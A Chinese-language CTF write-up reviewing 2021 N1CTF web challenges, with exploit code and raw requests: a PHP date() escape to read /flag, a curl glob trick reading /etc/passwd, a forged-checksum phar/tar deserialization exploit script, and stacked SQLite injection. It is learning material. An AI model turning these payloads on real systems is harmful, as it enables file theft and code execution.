c1ay's blog

2021 n1ctf 复盘

字数统计: 2.7k阅读时长: 13 min
2021/11/23 Share

2021 n1ctf 复盘

signin

web题只做出了签到,哭了

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
//flag is /flag
$path=$_POST['path'];
$time=(isset($_GET['time'])) ? urldecode(date(file_get_contents('php://input'))) : date("Y/m/d H:i:s");
$name="/var/www/tmp/".time().rand().'.txt';
$black="f|ht|ba|z|ro|;|,|=|c|g|da|_";
$blist=explode("|",$black);
foreach($blist as $b){
if(strpos($path,$b) !== false){
die();
}
}
if(file_put_contents($name, $time)){
echo "<pre class='language-html'><code class='language-html'>logpath:$name</code></pre>";
}
$check=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($path));
if(is_file($check)){
echo "<pre class='language-html'><code class='language-html'>".file_get_contents($check)."</code></pre>";
}

代码很简单,就是接收php://input的内容,经过urldecode(date(file_get_contents(‘php://input’)))处理后写入文件,然后获取写入后文件的内容,如果获取到的内容是一个存在的文件,则读取输出

但是date函数会对一些字符进行格式化,翻阅php官方文档可以看到字符有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
format 字符 说明 返回值例子
日 --- ---
d 月份中的第几天,有前导零的 2 位数字 0131
D 星期中的第几天,文本表示,3 个字母 Mon 到 Sun
j 月份中的第几天,没有前导零 131
l(“L”的小写字母) 星期几,完整的文本格式 Sunday 到 Saturday
N ISO-8601 格式数字表示的星期中的第几天(PHP 5.1.0 新加) 1(表示星期一)到 7(表示星期天)
S 每月天数后面的英文后缀,2 个字符 st,nd,rd 或者 th。可以和 j 一起用
w 星期中的第几天,数字表示 0(表示星期天)到 6(表示星期六)
z 年份中的第几天 0365
星期 --- ---
W ISO-8601 格式年份中的第几周,每周从星期一开始(PHP 4.1.0 新加的) 例如:42(当年的第 42 周)
月 --- ---
F 月份,完整的文本格式,例如 January 或者 March January 到 December
m 数字表示的月份,有前导零 0112
M 三个字母缩写表示的月份 Jan 到 Dec
n 数字表示的月份,没有前导零 112
t 指定的月份有几天 2831
年 --- ---
L 是否为闰年 如果是闰年为 1,否则为 0
o ISO-8601 格式年份数字。这和 Y 的值相同,只除了如果 ISO 的星期数(W)属于前一年或下一年,则用那一年。(PHP 5.1.0 新加) Examples: 1999 or 2003
Y 4 位数字完整表示的年份 例如:19992003
y 2 位数字表示的年份 例如:9903
时间 --- ---
a 小写的上午和下午值 am 或 pm
A 大写的上午和下午值 AM 或 PM
B Swatch Internet 标准时 000999
g 小时,12 小时格式,没有前导零 112
G 小时,24 小时格式,没有前导零 023
h 小时,12 小时格式,有前导零 0112
H 小时,24 小时格式,有前导零 0023
i 有前导零的分钟数 0059>
s 秒数,有前导零 0059>
u 毫秒 (PHP 5.2.2 新加)。需要注意的是 date() 函数总是返回 000000 因为它只接受 integer 参数, 而 DateTime::format() 才支持毫秒。 示例: 654321
时区 --- ---
e 时区标识(PHP 5.1.0 新加) 例如:UTC,GMT,Atlantic/Azores
I 是否为夏令时 如果是夏令时为 1,否则为 0
O 与格林威治时间相差的小时数 例如:+0200
P 与格林威治时间(GMT)的差别,小时和分钟之间有冒号分隔(PHP 5.1.3 新加) 例如:+02:00
T 本机所在的时区 例如:EST,MDT(【译者注】在 Windows 下为完整文本格式,例如“Eastern Standard Time”,中文版会显示“中国标准时间”)。
Z 时差偏移量的秒数。UTC 西边的时区偏移量总是负的,UTC 东边的时区偏移量总是正的。 -4320043200
完整的日期/时间 --- ---
c ISO 8601 格式的日期(PHP 5 新加) 2004-02-12T15:19:21+00:00
r RFC 822 格式的日期 例如:Thu, 21 Dec 2000 16:01:07 +0200
U 从 Unix 纪元(January 1 1970 00:00:00 GMT)开始至今的秒数 参见 time()

所以如果直接传入/flag的话,lag会被格式化为其他内容

1
2
php > echo date("/flag");
/fTuesdayam10

这里还有urldecode,所以将/flag进行url编码后再传入

1
2
php > echo date("/%66%6c%61%67");
/%66%62021-11-23T10:23:29+08:00%61%67

看到c也会被格式化

又在官方文档当中看到,可以使用转义符\进行转义:

mark

所以可以使用:

/%66%6\c%61%67

或者直接:

/f\l\a\g

1
2
3
4
php > echo date("/f\l\a\g");
/flag
php > echo urldecode(date("/%66%6\c%61%67"));
/flag

获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /?time=111 HTTP/1.1
Host: 43.155.64.70
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
/%66%6\c%61%67

mark

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1
Host: 43.155.64.70
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
path=/var/www/tmp/1637634632190067238.txt

mark

n1ctf{bypass_date_1s_s000_eassssy}

其它web题目复盘

Funny_web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
session_start();
//hint in /hint.txt
if (!isset($_POST["url"])) {
highlight_file(__FILE__);
}
function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr($chars, 0, 8) . '-'
. substr($chars, 8, 4) . '-'
. substr($chars, 12, 4) . '-'
. substr($chars, 16, 4) . '-'
. substr($chars, 20, 12);
return $uuid;
}
function Check($url)
{
$blacklist = "/l|g|[\x01-\x1f]|[\x7f-\xff]|['\"]/i";
if (is_string($url)
&& strlen($url) < 4096
&& !preg_match($blacklist, $url)) {
return true;
}
return false;
}
if (!isset($_SESSION["uuid"])) {
$_SESSION["uuid"] = uuid();
}
echo $_SESSION["uuid"]."</br>";
if (Check($_POST["url"])) {
$url = escapeshellarg($_POST["url"]);
$cmd = "/usr/bin/curl ${url} --output - -m 3 --connect-timeout 3";
echo "your command: " . $cmd . "</br>";
$res = shell_exec($cmd);
} else {
die("error~");
}
if (strpos($res, $_SESSION["uuid"]) !== false) {
echo $res;
} else {
echo "you cannot get the result~";
}

当时没做出来,看了wp,学到了两个有意思的trick

trick1:需要先通过curl file://读取/hint.txt的提示,但是/l|g|[\x01-\x1f]|[\x7f-\xff]|['\"]/i"过滤了l,所以不能直接用file协议去读

这里需要用到curl的一个trick,就是在curl当中,默认支持glob通配符[]{}的使用,多提一点:如果不想使用这两个glob通配符,需要加上-g选项

-g/--globoff Disable URL sequences and ranges using {} and []

所以可以有下面的用法:
curl版本:7.58.0

1
curl fi{k,l,m}e:///etc/passwd

mark

或者

1
curl fi[k-m]e:///etc/passwd

mark

(curl 7.47.0失败)

trick2:gopher打mssql

mark

(这里直接用的出题人的脚本,回头单独研究一下如何构造gopher mssql流量,应该会单独写一篇文章)

easyphp

index.php

1
2
3
4
5
6
7
8
9
10
11
<?php
include_once "flag.php";
include_once "log.php";
if(file_exists(@$_GET["file"])){
echo "file exist!";
}else{
echo "file not exist!";
}
?>

log.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
define('ROOT_PATH', dirname(__FILE__));
$log_type = @$_GET['log_type'];
if(!isset($log_type)){
$log_type = "look";
}
$gets = http_build_query($_REQUEST);
$real_ip = $_SERVER['REMOTE_ADDR'];
$log_ip_dir = ROOT_PATH . '/log/' . $real_ip;
if(!is_dir($log_ip_dir)){
mkdir($log_ip_dir, 0777, true);
}
$log = 'Time: ' . date('Y-m-d H:i:s') . ' IP: [' . @$_SERVER['HTTP_X_FORWARDED_FOR'] . '], REQUEST: [' . $gets . '], CONTENT: [' . file_get_contents('php://input') . "]\n";
$log_file = $log_ip_dir . '/' . $log_type . '_www.log';
file_put_contents($log_file, $log, FILE_APPEND);
?>

flag.php

1
2
3
4
5
6
7
8
<?php
CLASS FLAG {
private $_flag = 'n1ctf{************************}';
public function __destruct(){
echo "FLAG: " . $this->_flag;
}
}

题目乍一看很简单,就是通过序列化FLAG类构造phar data写入log,然后通过phar://协议触发反序列化读取flag

但是这里有个问题,就是写入的phar data前会有'Time: ' . date('Y-m-d H:i:s') . ' IP: [' . @$_SERVER['HTTP_X_FORWARDED_FOR'] . '], REQUEST: [' . $gets . '], CONTENT: ['这串内容,之后还会有]\n,所以如果直接写入的话,phar data的签名校验会失败导致反序列化失败,并且使用正常方法生成的phar data文件必须以GBMB结尾才能被反序列化,而这里写入log后结尾变成了]\n,是不能反序列化成功的

这里需要用到另一种方式生成payload,其实很早之前的一篇文章就已经提到了,一直没看到

链接:https://blog.shpik.kr/php,/unserialize,/rce/2019/02/18/PHP_Exploitation_using_FILE_Function.html

该文章中提到的方法通过PharData生成可以被反序列化的tar包

1
2
3
4
5
<?php
$phar = new PharData("get_flag.tar");
$phar["AAABshpik"] = "FLAGFLAGFLAG";
$obj = new xxxClass(xxx);
$phar->setMetadata($obj);

这种方式生成的文件,文件尾部的内容是不会影响tar文件的格式和反序列化的

如何添加头部并更新签名,这篇文章也给了脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import sys
import struct
def calcChecksum(data):
return sum(struct.unpack_from("148B8x356B",data))+256
if __name__=="__main__":
if len(sys.argv)!=3:
print "argv[1] is filename\nargv[2] is output filename.\n"
else:
with open(sys.argv[1],'rb') as f:
data = f.read()
# Make new checksum
new_name = "\xFF\xD8\xFF\xDBshpik".ljust(100,'\x00')
new_data = new_name + data[100:]
checksum = calcChecksum(new_data)
new_checksum = oct(checksum).rjust(7,'0')+'\x00'
new_data = new_name + data[100:148] + new_checksum + data[156:]
with open(sys.argv[2],'wb') as f:
f.write(new_data)

根据这个脚本修改一下

getflag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
CLASS FLAG {
//private $_flag = 'n1ctf{************************}';
//public function __destruct(){
// echo "FLAG: " . $this->_flag;
//}
}
$phar = new PharData("get_flag.tar");
$phar["AAABshpik"] = "FLAGFLAGFLAG";
$obj = new FLAG();
$phar->setMetadata($obj);
echo date('Y-m-d H:i:s');

getflag.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import os
import sys
import struct
import requests
def calcChecksum(data):
return sum(struct.unpack_from("148B8x356B",data))+256
if __name__=="__main__":
logpre = "Time: " + os.popen("php getflag.php").read() + " IP: [], REQUEST: [], CONTENT: ["
with open("get_flag.tar",'rb') as f:
data = f.read()
f.close()
# Make new checksum
new_name = logpre.ljust(100,'\x00')
new_data = new_name + data[100:]
checksum = calcChecksum(new_data)
new_checksum = oct(checksum).rjust(7,'0')+'\x00'
new_data = new_name + data[100:148] + new_checksum + data[156:]
with open("new_get_flag.tar",'wb') as f:
f.write(new_data)
f.close()
with open("new_get_flag.tar",'rb') as f:
phardata=f.read().split("CONTENT: [")[1]
print phardata
f.close()
requests.post(url="http://192.168.157.141/easyphp/index.php",data=phardata)
print requests.get(url="http://192.168.157.141/easyphp/index.php?file=phar://./log/192.168.157.141/look_www.log&log_type=../xxx").text

本地测试结果:

mark

QQQueryyy All The Things

这道题当时做的只知道是sqlite数据库,支持堆叠注入

查看版本号

1
2
3
4
5
6
7
8
9
GET /?str=111%27;select%20sqlite_version();select%20%271234 HTTP/1.1
Host: 8.218.140.54:12321
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

mark

查询出所有表

1
2
3
4
5
6
7
8
9
GET /index.php?str=111%27;select%20*%20from%20sqlite_temp_master;select%20%271234 HTTP/1.1
Host: 8.218.140.54:12321
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

获得:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
acpi_tables
apparmor_events
arp_cache
azure_instance_tags
block_devices
bpf_process_events
bpf_socket_events
carbon_black_info
cpu_time
cpuid
device_hash
device_partitions
docker_images
docker_info
docker_version
ec2_instance_metadata
ec2_instance_tags
etc_protocols
etc_services
extended_attributes
file_events
hardware_events
intel_me_info
interface_addresses
interface_details
interface_ipv6
iptables
kernel_info
kernel_modules
last
listening_ports
lldp_neighbors
load_average
logged_in_users
lxd_certificates
lxd_cluster
lxd_cluster_members
lxd_networks
lxd_storage_pools
md_devices
md_drives
md_personalities
memory_array_mapped_addresses
memory_arrays
memory_device_mapped_addresses
memory_devices
memory_error_info
memory_info
memory_map
mounts
msr
oem_strings
osquery_events
osquery_extensions
osquery_flags
osquery_info
osquery_packs
osquery_registry
osquery_schedule
pci_devices
platform_info
portage_keywords
portage_packages
portage_use
process_events
process_file_events
process_open_pipes
prometheus_metrics
seccomp_events
secureboot
selinux_events
selinux_settings
shared_memory
smart_drive_info
smbios_tables
socket_events
startup_items
sudoers
syslog_events
system_info
systemd_units
time
ulimit_info
uptime
usb_devices
user_events
yara_events

当时只做到了这一步,赛后看了wp,对一些表的用法还是感觉不太理解,题目环境目前访问不了了,暂时无法复现

总结

感觉这次有几道题乍一看挺简单的,实际上并不容易,通过这次复盘学到了很多有意思的trick,都是之前不曾见过的,还是挺有意义的,总之,还有很多东西要学 >-<~

CATALOG
  1. 1. 2021 n1ctf 复盘
    1. 1.0.1. signin
    2. 1.0.2. Funny_web
    3. 1.0.3. easyphp
    4. 1.0.4. QQQueryyy All The Things
    5. 1.0.5. 总结